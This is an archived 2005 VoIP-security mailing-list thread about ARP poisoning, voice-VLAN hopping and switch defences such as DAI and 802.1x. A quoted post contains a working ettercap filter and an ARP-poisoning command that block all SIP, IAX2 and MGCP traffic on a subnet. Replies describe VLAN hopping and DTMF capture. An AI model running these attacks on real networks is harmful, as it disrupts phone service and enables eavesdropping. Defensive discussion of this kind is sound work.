[VOIPSEC] VoIP Blocking Filter w/Ettercap
Michael Todd
michaeldtodd at mac.com
Mon Jul 18 20:20:52 CDT 2005
Inline
Mike
On Jul 18, 2005, at 7:59 PM, Troy Sherman wrote:
> See in line....
>
>
> Troy Sherman
> JAG 1024
> Cisco Systems Inc.
> Phone 408.902.3091
> Cell 408.887.9516
> Pager 800.365.4578
>
> -----Original Message-----
> From: Voipsec-bounces at voipsa.org [mailto:Voipsec-
> bounces at voipsa.org] On
> Behalf Of Michael Todd
> Sent: Monday, July 18, 2005 4:18 AM
> To: Credland, Jim; Voipsec at voipsa.org
> Subject: Re: [VOIPSEC] VoIP Blocking Filter w/Ettercap
>
> The big problem with using 802.1x is that it isn't supported with the
> 802.1q trunking standard, which I know that Cisco uses for phone to
> switch VLAN assignment.
>
> THS - We do not really use a trunk. Multi access port is I think what
> marketing calls it. But you are correct, 802.1x does not support
> logical
> separation, it only supports physical.
MT - It's still 802.1q, but I know what you mean. There's definitely
an important difference as the VLANs on this "trunk" are restricted
to only the Voice VLAN and the untagged "data" VLAN. This is
obviously a good thing.
> It is a trivial thing to modify an 802.1q
> header to jump with a computer onto the voice VLAN.
>
> THS - not through a phone, but if you just plug into a port yes.
MT - Right, you can't do it if you are plugged into the back of the
phone.
> Even if you
> configure 802.1x on a port, it will only challenge packets received
> on the switch port for traffic on the the data, not voice, VLAN. And
> since the switch trusts the phone to tag each packet with the correct
> VLAN, a laptop can do it just as easily with a simple ifconfig
> command.
>
> THS - True on older switches, not quite that easy on newer ones.
>
MT - This is not true. I have performed this on all manner of
switches and IOS versions. Can you please specify why a "newer"
switch would block this?
> So, with Cisco installations (and I imagine any other that uses
> 802.1q trunking to the phone), there is NO way to prevent an attacker
> from jumping directly onto the Voice VLAN as long as he has physical
> access to the end port where a phone has been configured. Which
> means, in most installations, every port at every desk. Throw
> anything you want at me as far as ideas, I've run through them all,
> and trust me, there is NO way to stop someone from doing this. I'll
> take any challengers :). I reported this bypass method to Cisco's
> PSIRT many months ago and they have yet to make any kind of public
> disclosure. I believe they stated that the reason for this was that
> the vulnerability was with the protocol standards, not with their
> product. Not a great excuse in my opinion.
>
> DTMF can be captured and logged for all calls once the attacker is
> able to get onto the Voice VLAN and perform arp cache redirects. Use
> your own imagination as far as what this could get a malicious
> attacker.
>
> THS - DAI does prevent this from happening. You will be on the
> voice vlan,
> but you will not be able to run a MIM attack, or at least anyone
> that I know
> of (ettercap, Cain, etc.) You will not be able to redirect, these
> things
> will not work with arp. You will be in the voice vlan, so there are
> things
> that you might be able to do, but between ACL's and qos, you are
> limited to
> the amount of traffic that you are going to send, so the impact on the
> devices is not very high in my opinion. You can also run IP source
> guard for
> spoofing of IP and MAC, but that might be extreme in some peoples
> network.
> Also IP source guard with port security requires option 82 on the dhcp
> servers and most people do not have that type of dhcp server.
>
MT - You are correct that MITM options are definitely limited once
DAI is enabled. I would also suggest DHCP anti-spoofing measures on
top of the arp spoofing measures. I really am just trying to point
out that there are no options for switch level authentication of VoIP
endpoints. My other concern is that nowhere in the Cisco SAFE
blueprint for IP Telephony are these recommended, and many network
administrators do not configure these features. I believe that
Arpwatch is recommended, but these would only log arp changes, not
block them.
MT - For anyone interested, THS has a good presentation on these
attacks at http://www.cisco.com/networkers/nw04/presos/docs/SEC-2002.pdf
> My recommendation is to at least disable gratuitous arp requests
> and run an IDS on the voice VLAN. Not that there are many IDS sigs
> for this type of attack.
>
> Also, the problem with endpoint encryption is that, at least in Cisco
> installations, the choice whether or not to encrypt the RTP stream is
> negotiated *between the phones* at the time a call is placed, so if a
> MITM attack were to step in the middle of this negotiation, the rest
> of the call would be placed unencrypted, even between telephones that
> have been configured for encryption.
>
> THS - The Call Manager does the negotiation of keys through the
> encrypted
> signaling to the phones. How would you step into this if the
> signaling is
> encrypted, and that is what does the setup for the RTP streams?
> Could you
> please go into more detail?
MT - Good point. You are most definitely right about this one from
the point of MITM. I'm a little weak on the encryption options. I've
only set up one system with this level of encryption and even then
was only possible in a single cluster deployment with high end phones
and PKI. I definitely like what you guys have done with encryption
in 4.1, but it's still very very rarely deployed.
> The list goes on and on, please ask if anyone needs clarification or
> further examples. Or challenges :). I can demonstrate any of these
> attacks if anyone is curious.
>
> Mike Todd
> CCIE #10858 (Routing and Switching / Security / Voice)
> michael.todd at gtsi.com
>
> On Jul 13, 2005, at 10:31 AM, Credland, Jim wrote:
>
>
>> Protecting a network to which people have physical access is tricky.
>> Ettercap is a scary reminder of how easy it is to intercept/reroute
>> and
>> generally ethernet segments. If you've got a test network to try a
>> man in
>> the middle attack on using ettercap it's well worth it for the
>> amusement
>> value alone.
>>
>> In an enterprise environment requiring a high standard of VoIP
>> security I'd
>> definitely be considering something like 802.1x port
>> authentication to
>> reduce the risk from someone connecting a PC to the VoIP vLAN, and
>> if it was
>> readily available encryption of the voice and switching traffic.
>>
>> Much of the documentation on VoIP Security seems to skip over these
>> kinds of
>> problems, the NIST documents solution is use encryption,
>> authentication and
>> public keys. This does little about denial-of-service and has the
>> lack of
>> support for these kinds of features in many implementations. The
>> Cisco
>> VoIP security document used to suggests you don't let anyone bad
>> near your
>> switch - but I've noticed a new document on their site listing a
>> whole load
>> of layer 2 security features - see
>> http://www.cisco.com/en/US/netsol/ns340/ns394/ns165/
>> networking_solutions_whi
>> te_paper0900aecd80240249.shtml - in the layer 2 defenses section.
>> I'd be
>> interested - if you test switch has these features - in whether or
>> not you
>> can cause much distruption with these features enabled.
>>
>> I think I saw a tool for listening to intercepted RTP streams but I
>> forget
>> what it's called?
>>
>> Luckly once you get out of your LAN environment to a central
>> server or
>> carrier environment where there are strong physical access controls
>> then
>> this kind of security becomes less critical and other problems
>> raise their
>> heads instead.
>>
>> jim.credland at thus.net
>> Security Consultant
>>
>>
>>
>>
>>> -----Original Message-----
>>> From: Natas [mailto:natas05 at gmail.com]
>>> Sent: 13 July 2005 02:09
>>> To: Voipsec at voipsa.org
>>> Subject: [VOIPSEC] VoIP Blocking Filter w/Ettercap
>>>
>>> After playing around with ettercap and its filter program,
>>> etterfilter, I realized how easy it would be to ARP poison a
>>> network and block all VoIP packets from passing through.
>>> While packet manipulation obviously isn't new, and the root
>>> of the problem comes from the ease of ARP poisoning, I was
>>> still kind of shocked at how easy an attack like this could
>>> be pulled off in a real world scenario.
>>> A simple ettercap filter can be used to block all SIP, IAX2
>>> and MGCP traffic, stopping any possible communication across
>>> a network segment, but letting other traffic properly pass
>>> through. Below is a basic filter I wrote up for this list.
>>>
>>>
>>> # blockvoip.filter
>>> # Proof of concept VoIP blocking filter
>>> # By Natas
>>> # Instructions:
>>> # Run "etterfilter blockvoip.filter -o blockvoip.ef"
>>> # Then "ettercap -T -q -F blockvoip.ef -M ARP /10.1.1.1-254/ //"
>>>
>>> if (ip.proto == UDP && udp.src == 4569) {
>>> msg("Killed Attempted IAX2 Connection.\n");
>>> drop();
>>> kill();
>>> }
>>>
>>> if (ip.proto == UDP && udp.src == 5060) {
>>> msg("Killed Attempted SIP Connection.\n");
>>> drop();
>>> kill();
>>> }
>>>
>>> if (ip.proto == UDP && udp.src == 2427) {
>>> msg("Killed Attempted MGCP Connection.\n");
>>> drop();
>>> kill();
>>> }
>>>
>>> # Don't know to much about MGCP Call Agent traffic but # I
>>> put it in here for the hell of it.
>>> if (ip.proto == UDP && udp.src == 2727) {
>>> msg("Killed Attempted MGCP Call Agent Connection.\n");
>>> drop();
>>> kill();
>>> }
>>>
>>> # End.
>>>
>>> Obviously this is just a simple example and could easily be
>>> expanded to ensure that no VoIP traffic whatsoever passes through.
>>>
>>> I'm not sure how everyone here will feel about this little
>>> example but I wanted to put it out there for everyone to see.
>>> I have some other VoIP packet manipulation ideas that I am
>>> playing around with.
>>>
>>> I enjoy the VoIPSA mailing list very much and like reading
>>> every ones posts and concerns. If you would like to talk off
>>> the list, feel free to email me or contact me at 206-338-3337.
>>>
>>> Natas
>>>
>>> _______________________________________________
>>> Voipsec mailing list
>>> Voipsec at voipsa.org
>>> http://voipsa.org/mailman/listinfo/voipsec_voipsa.org
>>>
>>>
>>>
>>
>> _______________________________________________
>> Voipsec mailing list
>> Voipsec at voipsa.org
>> http://voipsa.org/mailman/listinfo/voipsec_voipsa.org
>>
>>
>
>
> _______________________________________________
> Voipsec mailing list
> Voipsec at voipsa.org
> http://voipsa.org/mailman/listinfo/voipsec_voipsa.org
>
More information about the Voipsec
mailing list